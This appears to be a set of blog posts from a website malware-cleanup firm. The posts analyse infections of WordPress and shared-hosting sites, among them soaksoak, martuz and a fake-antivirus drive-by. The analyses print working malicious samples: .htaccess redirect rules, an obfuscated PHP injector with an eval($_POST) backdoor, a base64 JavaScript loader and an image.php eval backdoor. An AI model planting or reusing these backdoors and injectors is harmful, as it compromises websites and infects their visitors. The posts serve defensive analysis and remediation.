Our take on the “soaksoak” (revslider) infection

Ethical reportingHere’s our review of the recent revslider plugin exploit – or as some call it, “soaksoak” (ouch).

On November 22, 2014 while removing malware from a number of sites, we noticed a large number of them had backdoor shells buried in the revslider folder. After the first 100+ sites, we noticed the pattern.

A little Google searching found this site:

Our first notification was to hosting providers we work with. We told them what to search for so they could alert their customers. The problem was that we did not report it to the right people. That was our mistake.

The first sites did not have any code injected into the swfobject.js or collect.js files, or the .html or .php files. The sites simply had numerous backdoor shells spread throughout the wp-includes, wp-admin and wp-content folders. It appears as if the hackers were looking for the deepest level folders they could find.

Some online searching showed very few infected sites. 1,100 sites. We did reach out to those website owners to let them know – not to try and drum up business but to be responsible. And discrete.

Many of the forums are reporting links to 122.155... but we’re also seeing links to other IP addresses as well. The injected malscript can be in just the swfobject.js files or all .js files, all .html and selected .php files.

Some of the sites have code injected into the collect.js file which apparently is the same code that the malicious links point to. This leads us to believe that the hackers could use these infected sites in their future malicious links and most recently we see the infectious code using the local sites URL pointing to the infected collect.js file.

You’ll find the malicious code in the template-loader.php file located in wp-includes folder. This should be replaced with a copy of the original file downloaded directly from the WordPress site.

We choose not to alert all the script kiddies
I know what you’re thinking, if we knew about this back in November, why didn’t we blog about it?

Our searches showed a growing number of sites being infected. As of December 17, 2014, we saw 307,000 sites still infected with this – and they have all been verified by us as well.

We did not want to be the one to let every script-kiddie know so they could go out searching for these sites and take advantage of the backdoor shell on all these sites. We’ve been contacting these site owners to let them know and we feel that is the responsible thing to do.

I’m not saying that this was reported wrong. I’m just saying we made the decision to not report it to the masses.

Maybe a missed opportunity. It’s not the first time and it won’t be the last.


Website malware hijacks 500,000 computers

Proofpoint security researcher Wayne Huang has released a report detailing the inner workings of a cybercrime group that reportedly had control of about 500,000 devices.

The entire scheme begins with the cybercrime group buying stolen passwords from others. What passwords did they seek?

Website passwords!

They would upload a backdoor shell, which still allowed the website to function normally, but as the website owner would draw more visitors to the site, the cybercriminals would inject their code into the website’s files and infect the devices (computers, tablets, smartphones…) of those visitors. Website malware was used to infect the visitor’s devices.

The infected devices would be used as usual, but the cybercriminals would be receiving any banking login information and other logins – which was their original plan.

As an additional bonus, the cybercriminals would also rent access to these infected (now controlled by the cybercriminals) devices for other underground criminals to use as they wish.

Since most of us have anti-virus programs on all our devices, how did they get so many devices infected?

This group of hackers (cybercriminals if you prefer), used a service that checks their malicious code against all the anti-virus programs available. If the service found any that detected the malicious code, the hackers would use a variety of techniques to change the malicious code enough to “fly under the radar”.

Their website malware would only attempt to infect the devices of “regular” looking visitors. They had lists of IP addresses for various security companies and sites and their malicious website code would only be displayed for IP addresses not in their list.


This graphic is from the Proofpoint research.

Notice where it all starts on the far left – infected websites.

Still don’t think hackers want your website?

Guess again.

This research shows how important your website, or if you’re a website developer or webmaster, how important all the websites you work on, are to the cybercriminals. They need your websites. They want your websites.

The security researcher Huang was able to find the address of the cybercriminals control panel. Believe it or not, they had left it unprotected – no password required. Once in he was able to grab more information and presented it in his research paper.

Huang contacted some of the website owners when he found out who had the website malware on their sites. Many of them checked their sites with some of the online scanners and the reports came back clean. This was due to the work with the IP address list the hackers had built-in to their malicious website code.

Please understand that cybercriminals are not all going after the Targets, Home Depots and banks. Quite often they need your website to start their money making schemes.

If you have any questions about this or website malware in general, please either contact me at or post a comment.

Thank you for reading.


Twitter iframes

Over the past few weeks we’ve cleaned many infected websites that have been infected with an iframe named Twitter. This iframe has nothing to do with Twitter, but that’s what the hackers named it.

It starts out like:

< ifr ame name=Twitter scrolling=auto frame border=no align=center height=2 width=2

where the height and width can be other numbers as well. If this line of code is in a .js file (javascript) then it will probably start with:

docu ment .write(‘< ifr ame name=Twitter scrolling=auto frame border=no align=center height=2 width=2

This type of infection is usually accompanied by code added to the .htaccess files similar to:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://(some malicious domain and querystring goes here) ?h=1459447 [L,R]

We haven’t always seen the modified .htaccess files but generally there will be some “sprinkled” throughout an infected website.

This has been due to compromised login credentials. Many people don’t believe us or want to hear that, but it’s a fact. In all cases where we’ve had access to the FTP logs, we see lines like:

Mon Jan 28 09:35:05 2013 0 239 /home1/(path to website files/public_html/wp-includes/Text/.htaccess b _ i r user@domain ftp 1 * c

The i before the r and the username indicates this file was uploaded to your site. If this line in the logs were from someone downloading a file to their local computer or another location, it would have an o.

This activity in a log file shows us that someone from source IP of uploaded a file named .htaccess of 239 bytes to this folder using user@domain on January 28. When we look in the above referenced file it has the Rewrite code listed above. From this we know that a malicious file was uploaded to that site using the username specified. How did this “someone” get that username?

Most likely from a virus on a computer used to legitimately upload files. Yes, even Macs are susceptible.

We also see from the log files that other backdoors have been uploaded. These have to be found and removed or your site will get re-infected again and again.

If you’ve fallen victim to this type of infection, please let us know.

Thank you.


Spam links in WordPress infected websites

We’ve been seeing a lot of spam links in WordPress index.php files. Even the “silence is golden” 30 byte index.php files sprinkled throughout a WordPress installation have been infected.

These infected websites had other malicious code as well, but the index.php files had variations of the following code:

<!– /harew–>






<div style=”position:absolute; top:-99999px;”>




bedava <a href=””>sikis</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=””>porno</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=”http://”>sex</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=””>lezbiyen</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

bedava <a href=””>sikis</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle

free <a href=””>sex</a> videos

free <a href=””>sex</a> videos


Currently we see about 12,000+ websites infected with this code. These sites are usually infected with a variety of .htaccess file infections as well, so just removing this code will not clean your website.

For instance, many of them have this in their .htaccess files:

php_value auto_append_file /home/path_to_/public_html/websitename/Thumbs.db

This will add (append) whatever is in the Thumbs.db file to files when the page is rendered. This will show the infectious code in Thumbs.db after running the PHP code in Thumbs.db, when you view source on an infected web page, but when you look in the raw code of the index file, the code won’t be there.

This line is usually preceeded by many, many blank lines in an attempt to hide it. Inside the Thumbs.db file is code like:

@error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSK…;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65”;$eva1tYldakBoVS1r = “\x65\143\x72\160”;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Which is the infectious code delivered to any web page rendered from the folder with the above .htaccess file.

There doesn’t appear to be any common characteristic of the websites infected with this, other than the infected websites we’ve cleaned have all been WordPress. They were already at the current version, some have the vulnerable timthumb.php files, some don’t. Some are using FCKeditor in one way or another and we have seen this as a successful attack vector for quite awhile.

If you have this type of infection, please post a comment with any other information you may have regarding this. Mostly, what plugins you have on your site. Maybe then as a community we can zero in on the root cause.

If you found this post useful or informative, please Tweet about us, like us on Facebook, or just post a comment.

As always, if you need help cleaning this from your website, please send me an email:

Thank you.


WordPress plugin wp-phpmyadmin should be removed

If anyone reading this blog has wp-phpmyadmin installed on their site you should remove it immediately.

For the past 2 months we’ve been seeing more and more websites with this plugin being infected.

There is usually a file added: upgrade.php that is not part of the legitimate files and has various malicious code inside.

This plugin is no longer on the WordPress plugin repository as it has not been updated since 2007.

While a plugin like this might seem more convenient for database work than using your hosting provider’s control panel, it’s also more convenient for hackers.

We did a Google search on this and found that the majority of websites with this plugin, also don’t have any prevention for viewing the directory this is installed in.

This means that a hacker can click on “Parent Directory” and see all the plugins installed. While this isn’t a huge vulnerability, it’s so easy to prevent with a either a .htaccess file or an empty index.html file.

The less information a hacker knows about your website the better off you are.

What about you? Do you have this installed on your website? Are there other plugins you worry about? Leave a comment here and we’ll investigate it.

Need your website cleaned, protected and monitored? Send us an email:


toobarcom, mybar, adsnet infections

Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m sorry that it’s taken so long to write about this but we’ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.

What we’re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it’s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There’s no spaces or line breaks between the malicious code and the legitimate code.

In .html and .php files we’ve usually seen it enclosed by ‘ads’ tags and script tags.

We’ve seen two variations of the malicious code:

The first one starts with:

var st1 = ;this.b=this.M="";this.A="";this.w=false;""...

and ends with:

var gr0=0;

The second starts with:
var st1 = 0;document. write( unescape('%3C%73...

and ends with:


We’ll examine each one here to let you know what they’re doing.

The first one deobfuscates to this:

var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["","","","",""],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+

document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

When looking at this code, you’ll see that is uses a variety of user-agent strings:

  • yahoo
  • search
  • msnbot
  • yandex
  • googlebot
  • bing
  • ask

Then creates an array of domains:


and then creates an array of prefixes:

  • axe.
  • box.
  • cox.
  • dex.
  • fax.
  • fix.
  • fox.
  • gox.
  • hex.
  • kex.
  • lax.
  • lex.
  • lox.
  • lux.
  • max.
  • mix.
  • nix.
  • oxo.
  • oxy.
  • pax.
  • pix.
  • pox.
  • pyx.
  • rax.
  • rex.
  • sax.
  • sex.
  • six.
  • sox.
  • tax.
  • tux.
  • vex.
  • vox.
  • wax.
  • xis.
  • zax.

When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.

The final part of the code puts it all together and adds a little more to the URL:

document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

adding the ‘/system/caption.js’ to the end of whatever domain string it’s built.

So a typical string after this first code is decoded might look like:

(script tag) type="text/javascript" src="hxxp: //">
(script tag)

The second obfuscated string from above, uses the same basic methodology but uses these domains:


and appends one of these strings to the front:

  • aqua.
  • azure.
  • black.
  • blue.
  • brown.
  • chocolate.
  • coral.
  • cyan.
  • darkred.
  • fuchsia.
  • gold.
  • gray.
  • green.
  • indigo.
  • ivory.
  • khaki.
  • lime.
  • magenta.
  • maroon.
  • navy.
  • olive.
  • orange.
  • pink.
  • plum.
  • purple.
  • red.
  • silver.
  • snow.
  • violet.
  • white.
  • yellow.

This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds ‘/data/mootools.js’ to the end to complete the malscript.

If you’re looking for this malscript in your website, please make sure you grab the entire line all the way to ‘var gr0=0;’ (without the quotes) and nothing more. Otherwise, your legitimate code won’t function properly and you’ll have to restore from backup. Which, may not be a bad thing – unless, of course, you don’t have a good backup.

We’re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven’t been able to gather all our data yet. When we do, we’ll post an update here.

We’re also going to post about the backdoors we’ve found and you can search your site for them as well.

Until then, if you’re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (, and you’d like us to clean it for you, please send me an email at

Thank you.


The new Attack –

We recently came across a number of websites that have been injected with malscript iframes that load malware from Following is our report on this attack.
Cybercriminals appear to be using their network of infected PCs to modify “hacked” websites and turning them into infectious websites – attempting to infect many more PCs.
This attack appears to only infect index pages; index.htm, index.html, index.php. That’s all we’ve seen thus far.

The malicious code that gets injected into these webpages is the following:

body of injected script

Which deobfuscates to:


The usual iframe malscript parameters: width=1, height=1 style=’visibility:hidden’

 What was interesting is that we had to use a valid browser user agent to obtain the in.php file. We used: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0) as our user-agent string. Other similar user-agents worked as well, but they had to be MSIE and Windows compatible so we knew it had to be a Microsoft specific exploit they (the hackers) were attempting on unsuspecting visitors.

You’ll see from the above iframe that the file it references is in.php. Here is the code for in.php:


in.php malscript (click to enlarge)


Which deobfuscates to:  

in.php deobfuscated

As you can see, there are 2 other files that this malscript tries to load:

load.php (which is actually a Windows executable)


pdf.php (which is an actual PDF file that uses ActionScript to try and infect the visitor’s PC).


At the time of our investigation, the malware load.php was only detectable by 2 out of 41 anti-virus companies. Here is the VirusTotal report on that little gem:

load.php VirusTotal Results



And pdf.php was detectable by 11 out of 41 anti-virus programs. Here is the Virus Total report on that file:

pdf.php VirusTotal Results


Inspecting the FTP log files for the infected website we found that the majority of the FTP traffic on the day the infected files were modified was from the following IP addresses: which is Bucharest, Romania which is Michigan, United States which is New Mexico, United States which is Bucharest, Romania which is India which is Great Britain, United Kingdom which is Montreal, Canada which is Tokyo, Japan which is Ohio, United States which is Michigan, United States

The interesting thing about this FTP traffic from various places around the world is that the exact same FTP username and password were used. There weren’t any failed login attempts with this username for the prior 6 months so we didn’t feel it was a brute force or dictionary attack on a weak password. This leads us to believe that this infection is another case of compromised FTP credentials.

Another interesting point is that the FTP traffic from these various IP addresses happened within minutes of each other and the number of files transferred from each IP address was 2. It appears from this information that the attackers were using a distributed network of compromised PCs (read botnet) to send the modified files to the website server.

This could be for a number of reasons.

But the one reason that seems most obvious is that the attackers know many people try to block their IP addresses. By using a botnet of remotely controlled PCs a website owner would have to block dynamic IP addresses. Would you block a range of IP addresses from a DSL connection in the United States? Probably not.

Having a website means handling traffic from visitors all over the world. If you’re going to start blocking groups of IP addresses, how will you know when you’re blocking innocent visitors? Wouldn’t that hurt your business?

The IP address that is hosted on show this for their whois:

The whois on the domain is:

Google’s report on the network hosting shows:


FIRE’s shows this information for the network is hosted on:
You see that their report shows 2 C&C Servers (Command and Control – the servers hackers use to control their botnets) and 2 exploit servers – both bad stuff.
Prevention of this type of attack on your website is simple. Keep your PCs clean of viruses. If want to be sure you’re PC is clean, don’t use an administrator account for your daily activities. If you can’t install software as your currently logged in user, neither can a virus.
What’s your thoughts on this new attack? Is there any further information you’d like to know? Let me know…


Another Round of Beladen? Or, The New "Go" Infection

On Wednesday July 22, 2009 we started seeing what looks to be a new round of beladen style website infections by cybercriminals.

The reason we think they’re beladen style is that they appear to infect all the websites on shared servers and they also seem to be remotely controlled with a “on as needed” mode.

This infection resulted in thousands more sites being tagged with Google’s “This site may harm your computer”.

According to Google Diagnostics for certain websites we were asked to help with, this is what was shown:

“Malicious software is hosted on 4 domain(s), including:,,”

Other sites we were asked to help with were also showing these domains in their Google Diagnostics:


Our scanners were detecting suspicious obfuscated javascript on the sites we were helping with, but it appeared to only be setting cookies to expire the following day. The obfuscated javascript was this:


Which deobfuscated looks like:

sessionid=39128605A531; path=/; expires=Thu, 23 Jul 2009 18:42:32 GMT

We found similar code with various names for the “var” part (replacing oigmlob) above in the obfuscated code. Other names were:

  • dtxzidl
  • bmno
  • wcdg
  • tpet
  • stqfpbc
  • meuhgor

In addition, we also saw various combinations of the hexidecimal numbers to replace the actual letters. For instance, instead of pa\x74h=/\x3b ex\x70ir\x65s we found these as well:

  • p\x61th=/\x3b exp\x69r\x65s
  • p\x61\x74h=/\x3b \x65x\x70i\x72es
  • p\x61t\x68=/\x3b expi\x72e\x73

All of these deobfuscate to: path=/; expires

One common theme was the hosting providers. Wouldn’t you know that a day after we blog about how wrongly accused many hosting providers are for the gumblar, martuz and iframe infections that they actually become the target.

It appears that these recent infections are a server issue and not just a specific website on a shared server. How the server became infected is purely speculation. Could it have been from one set of compromised FTP credentials that was able to infect the server and then control other sites as well? Could it have been SQL injection for one site that then gave the attackers a method to start a process on the server thereby controlling all the websites on that server?

Who knows. At this point all we do know is that this does affect all the websites on infected servers.

How do we know that?

We created a program for situations like this. It grabs a list of all the websites for a specific IP address and starts checking them. On some IP addresses 91% of the websites were showing the obfuscated cookie code from above. Our thought is that since this is an “on again – off again” type of infection, the other 9% were dormant when our program scanned those sites.

Another interesting observation was that for a specific IP address, each website showed the exact same obfuscated code. While websites on different IP addresses had similar obfuscated code with the slight variations mentioned previously.

The first step in this “drive-by” infection was to set a cookie on the visitor’s PC. Then if that same visitor came back within the expiration period of the cookie (24 hours), this would be delivered to their browser:


Which essentially does a Meta tag redirect. The above deobfuscates to:


We did see some of the other domains mentioned earlier in place of and the

The whole purpose of this attack is to infect the PCs of visitor’s to these websites. This is done with this bit of social engineering code:


This code uses some fake graphics (okay the graphics are real, but they’re not the “official” graphics of Microsoft) in an attempt to trick the visitor into believing they have a virus. The code starts by checking to see if the operating system on the visitor’s PC is Microsoft’s Vista. If it is, it displays “Vista” looking graphics. If not Vista, then it assumes Windows XP and shows different graphics.

No matter who you are or what operating system and browser you have, this code shows a window that looks like a “Windows Security Center” window and it informs you that:

 “Virus (I-Worm.Trojan.b) was found on your computer! Click OK to install System Security Antivirus.” If you select “OK” from their screen it will download their “antivirus”.

If you cancel, a new alert is displayed with this message:

 “Windows Security Center recommends you to install System Security Antivirus.”

If you cancel that, it will display again.

One more cancel gets you to this message:

“Your computer remains infected by viruses! They can cause data loss and file damages and need to be cured as soon as possible. Return to System Security and download it to secure your PC”

This is some very elaborate scheming by hackers and cybercriminals just to get visitors to download their “mother lode of infectious code”, but it will probably work on many people.

We decided to show the code here, although the code is inserted graphic files, so that if your website starts being tagged as suspicious by Google with some of the domains listed here, and you get the “This site may harm your computer” moniker, you can compare this code to some of the code you might see in your site and have a better understanding of what is going on.

What To Do

First you need to contact your hosting provider. Have them read this blog post so they can also better understand what’s going on.

Have them check at the server level for unusual processes running on the server. If you’d like, have them contact us and we can help them diagnose this further. We can show them the other websites on your server that are also infected with the exact same code.

At this point we still don’t know how the server gets infected. Be prudent and scan your PCs with a different anti-virus than what you’re currently using. Why? Because if you are infected and you have anti-virus already installed, then it’s obvious that the virus knows how to evade detection of your current security.

We’ve had good success with AVG, Avast or Avira. If you already have one of those installed, then use one of the others. You need to use something different. Scan and clean all PCs with FTP access to your site.

Then change FTP passwords on all of your accounts.

This will have to be done as soon as you start seeing these infections as it may take some time to fully investigate and remediate – so don’t be late (sorry, it’s been a long few days).

Post comments below if you’ve been infected by this or know someone who has.

Thank you.

Friday July 24, 2009 update: We worked with a couple different hosting providers who had servers infected with this and it appears the way these malscripts are injected into the the webpages is through a process on the server. The cybercriminals have cleverly named this process “crontab” however this process runs under the user name “nobody” typically the same user name that Apache (or httpd) runs as.

The file that executes this process is remotely deleted by the cybercriminals controlling it so it just runs in memory. Once the server is rebooted, the process disappears and doesn’t appear to return. The hosting providers also mentioned implementing suPHP as an aid to blocking this from happening again.

This is quite clever as how many times does a shared server really get rebooted? Probably not very often unless there’s a reason to shut-down numerous (hundreds?) websites all at once.

Keep posted, we’ll be adding more information as we get it.


A New Spin on martuz Website Infection

We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was an infectious website delivering malicious code with an email from Google.

This website owner had tried removing the code himself from the infected webpages and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome,  were greeted with a big warning:

This site may harm your computer.

After about a week of trying to rectify the problem himself, he contacted us.

He provided us FTP access to his site so we could tackle it.

After downloading his site (which literally took 3 hours) we started scanning. We grep’d for the word “base64_decode” and found over 228 php files all with the following malscript:

(php tag removed) if(!fun ct ion_ex ists(‘tmp_lkojfghx’)){if(is set ($_POST[‘tmp_lkojfghx3’])) eval($_POST[‘tmp_lkojfghx3’]) ;if(!defined(‘TMP_XHGFJOKL’))
define(‘TMP_XHGFJOKL’,b ase64_de cod e(‘PHNjcmlwdCBsYW5ndWFnZT 1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBWaXRMPSclJzt2YXIgU3VvPSd2YXJfMjB
hXzNkXzIyU2NyaV83MHRFbmdfNjluZV8yMl8yY2JfM2RfMjJWZXJzaV82Zm4oKStfMjJfMmNqX zNkXzIyXzIyXzJjdV8zZG5hdl82OWdfNjF0XzZmcl8yZV83NV83M182NXJfNDF
nZW50XzNiaWYoXzI4dV8yZWluZGV4T2ZfMjhfMjJfNDNocl82Zl82ZGVfMjIpXzNjXzMwXzI5XzI2 XzI2KHVfMmVpbmRfNjV4T2YoXzIyV182OV82ZV8yMilfM2UwKV8yNl8yNl8
yOHVfMmVpbmRleF80Zl82Nl8yOF8yMk5UXzIwNl8yMilfM2MwKV8yNl8yNihfNjRvY183NW1fNjV uXzc0XzJlXzYzb29rXzY5ZV8yZWluXzY0ZXhPZihfMjJtaWVrXzNkMV8yMil
fM2NfMzApXzI2XzI2KF83NHlwZW9fNjYoXzdhXzcyXzc2enRzXzI5XzIxXzNkdHlwXzY1b182NihfMjJ BXzIyKSkpXzdienJfNzZ6Xzc0c18zZF8yMkFfMjJfM2Jldl82MWwoXzI
yaWYoXzc3aW5kXzZmd18yZV8yMithXzJiXzIyKWpfM2RqK18yMitfNjErXzIyXzRkYWpvcl8yMl8yY mIrYStfMjJNaW5vcl8yMitiK2ErXzIyQl83NWlfNmNkXzIyXzJiYitfMjJ
qXzNiXzIyKV8zYmRvY183NW1fNjVfNmVfNzRfMmV3cml0ZShfMjJfM2NfNzNfNjNyaV83MF83NF8y MHNfNzJjXzNkXzJmXzJmbWFyXzIyK18yMl83NF83NXpfMmVfNjNuXzJmdml
kXzJmXzNmXzY5ZF8zZF8yMitfNmErXzIyXzNlXzNjXzVjXzJmc2NyaXBfNzRfM2VfMjJfMjlfM2JfN2Qn O2V2YWwodW5lc2NhcGUoU3VvLnJlcGxhY2UoL18vZyxWaXRMKSkpfSk
oKTsKIC0tPjwvc2NyaXB0Pg==’));fu nc tion tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(su bstr($s,10,-8));
if(preg_match_all(‘#<script(.*?)</sc ri pt>#is’,$s,$a))for ea ch($a[0] as $v) f(count(exp lo de(“\n”,$v))>5)
{$e=preg_match(‘#[\'”][^\s\'”\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_m atch(‘#[\(\[](\s*\d+,){20,}#’,$v);
if((pr eg_match(‘#\beval\b#’,$v)&&($e||str pos($v,’from Char Code’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}
$s1=preg_re pl ace(‘#<sc ri pt lan gu age=java scri pt><!– \n\(fun ct ion\(.+?\n –></script>#’,”,$s);if(stristr($s,'<body’))
$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0) {$s=array();

if($b&&$GLOBALS[‘tmp_xhgfjokl’])call_user_func($GLOBALS[‘tmp_xhgfjokl’],$a,$b,$c,$d); foreach(@ob_get_status(1) as $v)
if(($a=$v[‘name’])==’tmp_lkojfghx’)re t urn;else $s[]=array($a==’default output handler’?false:$a);
for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2’)
$GLOBALS[‘tmp_xhgfjokl’]=$a;tmp_lkojfghx2(); ?>

The base64_decode section evaluates to this:

<script language=javascript><!–

(f u n c t i o n(){var VitL=’%’;var Suo=’var_20a_3d_22Scri_70tEng_69ne_22_2cb_3d_22Versi_6fn()+_ 22_2cj_3d_22_22_2cu_3dnav_69g_61t_6fr_2e_75_73_65r_41gent_3bif
(_28u_2eindexOf_28_22_43hr_6f_6de_22)_3c_30_29_26_26(u_2eind_65xOf(_22W_69_6e_22) _3e0)_26_26_28u_2eindex_4f_66_28_22NT_206_22)_3c0)_26_26
(_64oc_75m_65n_74_2e_63ook_69e_2ein_64exOf(_22miek_3d1_22)_3c_30)_26_26(_74ypeo _66(_7a_72_76zts_29_21_3dtyp_65o_66(_22A_22)))
_7bzr_76z_74s_3d_22A_22_3bev_61l(_22if(_77ind_6fw_2e_22+a_2b_22)j_3dj+_22+_61+_ 22_4dajor_22_2bb+a+_22Minor_22+b+a+_22B_75i_6cd_22_2bb+_22j_3b_22)
_3bdoc_75m_65_6e_74_2ewrite(_22_3c_73_63ri_70_74_20s_72c_3d_2f_2fmar_22+_22_ 74_75z_2e_63n_2fvid_2f_3f_69d_3d_22+_6a+_22_3e_3c_5c_2fscrip_74_3e_22_29_3b_7d’;
e v a l(un esc ape(Suo.replace(/_/g,VitL)))})();

Which deobfuscates to:

var a=”S cri ptE ng ine”,b=”Version()+”,j=””,u=na vi g ator.user A gent;if((u.indexOf(“Ch rome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6”)<0)&&
(do cu ment.coo kie.ind exOf(“miek=1”)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;ev al(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);
doc um ent.w ri te(“<sc ri pt src=//mar”+””+j+”><\/script>”);}
if(window.Script Engine)j=j+ScriptEng ineMajorVersion()+ScriptEng ineMinorVersion()+Scrip tEngine BuildVersion()+j;
<script src=//></script>

a typical martuz infection.

Using PowerGrep we did a search and replace on this text and replaced every occurrence with “”.

We dug further into the files returned with our search for the word “base64_decode” and found 2 php files in every folder name “images”. These 2 files were named “image.php” and “gifimg.php” and inside each was the following code:

(php tags removed) eval(base64_decode(‘aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1Rb J2UnXSkpOw==’)); (php tags removed)

Which decodes to:


Which just decodes whatever text string is POST’d to this file.

To test, we encoded some commands and setup a little script to POST to this form with our commands. It worked!

In addition to these 2 files we found many others in various folders that contained the same code. We’re working on determining how these files are named. It almost seems random, but in order for this to be an automated process we feel that there must be some algorithm in creating the file names. Otherwise, the cybercriminals would have to keep a database or list of each site name and the file name associated with that site. This is highly unlikely as they are into automated routines and keeping a list like that just doesn’t make much sense.

Being that this was martuz, we felt confident in recommending that the client change from FTP to either FTPS or SFTP and then scan their PC fully before accessing the site again. With this new twist of having these php files accept scripts and run them, we are concerned about this new form of infection.

We have seen some people report that you have to replace these php files with an empty file of the same name. That might be the case in some situations, none that we’ve seen, but that would require that the cybercriminals had another file on your site that monitored those files. That monitoring program needs to be found and eliminated.

Another interesting thing about the file names is that WordPress installations have files named image.php obviously with different code, but that tactic might be to deter people from just “willy nilly” deleting those files.

Stay tuned as we have many, many more websites to clean. We’ll be reporting on them as we obtain more information.


Paul McCartney's Web Site Hacked – "Back in the USSR"

Yes it’s true. The rock n roll icon Paul McCartney had his website hacked. (This attack isn’t necessarily originating in Russia, but I couldn’t refuse the obvious opportunity.)

It’s amazing how certain hackings follow the news. It was just a couple days ago when I was watching the news on TV (yes that old, outdated media) and learned that Paul McCartney and Ringo Starr were going to get back together for a “reunion” tour.

The website hacking could have been purely coincidental, as the toolkit planted on his website – Luckysploit, has been used in many, many recent website malware distributions. It could be that the cybercriminals behind this exploit  just happened to find this site vulnerable to their recent attack. I believe it’s irrelevant how or why, their timing was impeccable.

This is another example of social engineering used successfully to infect more computers.

Think of the millions of Beatle’s fans (my father-in-law is one of them – a fan not a virus victim) hearing about this reunion and flocking to Mr. McCartney’s website to find out where their concerts will be performed only to find out at the next anti-virus scan that they’ve been compromised by a bank login and password stealing virus.

The nerve of these hackers. Using something so “in the news” to lure millions of people to  infectious websites that have been planted with malicious code, appearing to be legitimate websites, for the sole purpose of delivering a virus that is currently evading detection by many anti-virus programs.

Is there no shame?

This attack is being carried out by the Zeus botnet. Yes while everyone was watching out for Conficker, many forgot about the other botnets out there.

It’s easy to spot the infectious malware code in the “source” of the web page. All you have to do is look for something that’s impossible to read because it is encrypted and obfuscated to avoid easy detection. Luckily for us, we don’t look for specific infections while scanning websites. Our systems are based on any changes to a website. We pay close attention to changes that include specific keywords, but our alert system is based on any changes made to a website.

Once again the cybercriminals use a popular event to spread their malware. This particular infection will steal banking credentials which are then sold on the open black market. This is one of the cybercriminals profit centers. They have many.

Be careful when using the Internet, you never know if you’re getting more than you bargained for.

Other Beatle’s songs that come to mind with my sub-titles:

“Do You Want to Know a Secret” (about my malware)

“Don’t Ever Change” (my website)

“Don’t Let Me Down” (please click on this infectious link)

“Eight Days a Week” (and I’ll infect you every one of them)

“Everybody’s Got Something to Hide Except Me and My Monkey” (okay maybe my monkey has some malware to hide too)

“Fixing a Hole” (in your website)

“Free as a Bird” (free as in free malware)

“From Me to You” (more malware from me to you)

“Get Back” (to where you can get infected)

“Got To Get You Into My Life” (so I can hack you some more)

“Help!” (I need the services of WeWatchYourWebsite)

“I Am the Walrus” (I live Belarus) (okay you find something that goes with Walrus)

I could go on, but the Beatles wrote a lot of songs and I need to save server space.

Let’s be careful out there…